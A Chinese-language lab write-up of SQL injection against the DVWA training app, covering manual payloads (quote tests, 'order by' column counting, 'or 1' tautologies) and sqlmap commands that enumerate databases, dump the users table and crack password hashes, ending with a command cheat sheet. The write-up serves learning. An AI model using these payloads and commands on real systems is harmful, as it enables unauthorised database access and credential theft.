建议先了解 SQL基础指令这样对自己构筑语句很有帮助。
手工注入
先在输入框输入1看看结果是什么
在url测试常见的?id=1和 and1=1 , and1=2 和 ’and’1’=1 , ’and’1’=2 后页面无变化
因此直接选择在输入框进行简单测试操作
通常查询语句为:
Select * form 表名 where id=’xx’;
首先尝试输入单引号 ’ ,将引号合并让其报错,即输入后的语句为
Select * form 表名 where id=’ ’ ’;(假设是这个常见的查询语句)
输入结果:
页面报错,该页面可能存在注入漏洞
在输入框输入 'order by 1 – 进行测试 页面无报错
测试到 ’order by 3 – 时页面报错,得知该表只有两个字段。
然后输入 ’or 1 –
查询到了所有字段
SqlMap
然后尝试使用 SqlMap 软件做这题
输入 url 发现会重新定向的登入界面,需要cookie来维持会话
(可用—cookie=COOKIE 命令来直接定向到当前页面)
用f12的 console 获取了cookie,重新测试
得知可实现xss攻击,数据库是mysql,有两列字段等数据,并标识了四个注入点
用 –current db 获取当前数据库
得知当前网站数据库名字为 dvwa
用 -D 数据库名 –tables 来获取dvwa库里的数据表
先查看第一个表 guestbook
这写的是啥也不知道,继续获取里面的内容看看
用 –C 列名 –dump 查看表里数据
emmm 是个评论测试?
换个表看看 users
看起来是比较有用的数据 进一步获取列里面的内容
用SqlMap自带的字典跑了一下哈希加密的密码,成了
顺便 looklook 密码
指令 --passwords
小结:
找漏洞(在能输入的地方,都可以测试漏洞)
手动利用(需要强大稳健的数据库基础),所以就简单总结一下自动利用, sqlmap获取数据的流程
SqlMap 命令:
-u “url” -------查看软件对url的分析
(部分网址需要cookie来维持页面可在f12查找,或—cookie=COOKIE)
-u “url” --current-db -------查看当前数据库
-u “url” –D 数据库名字 –tables -------查看当前数据库的表
-u “url” –D 数据库名字 –T 表名 --columns -------获取表里的列
-u “url” –D 数据库名字 –T 表名 –C 列名 –dump -------查看列的数据
漏洞测试:
url
?id=1 , =
?id=1and 1=1(返回正常界面) , id=1and1=2(返回异常界面)
0 or 1;0’or 1#(如果用前面可以查到数据即数字型注入,后者为字符型)
输入框
’ (原理是与前面单引号合并,造成页面报错)
‘or 1#(or1为真,合并前面单引号,返回真,并注释掉后面的内容)
order by 数字#(测试有多少列,当数字超出列数页面将报错)
其实发现SQL注入漏洞的过程就是不断修改自己提交的数据,探测其是否能够在服务器上执行,这也是SQL注入攻击的本质。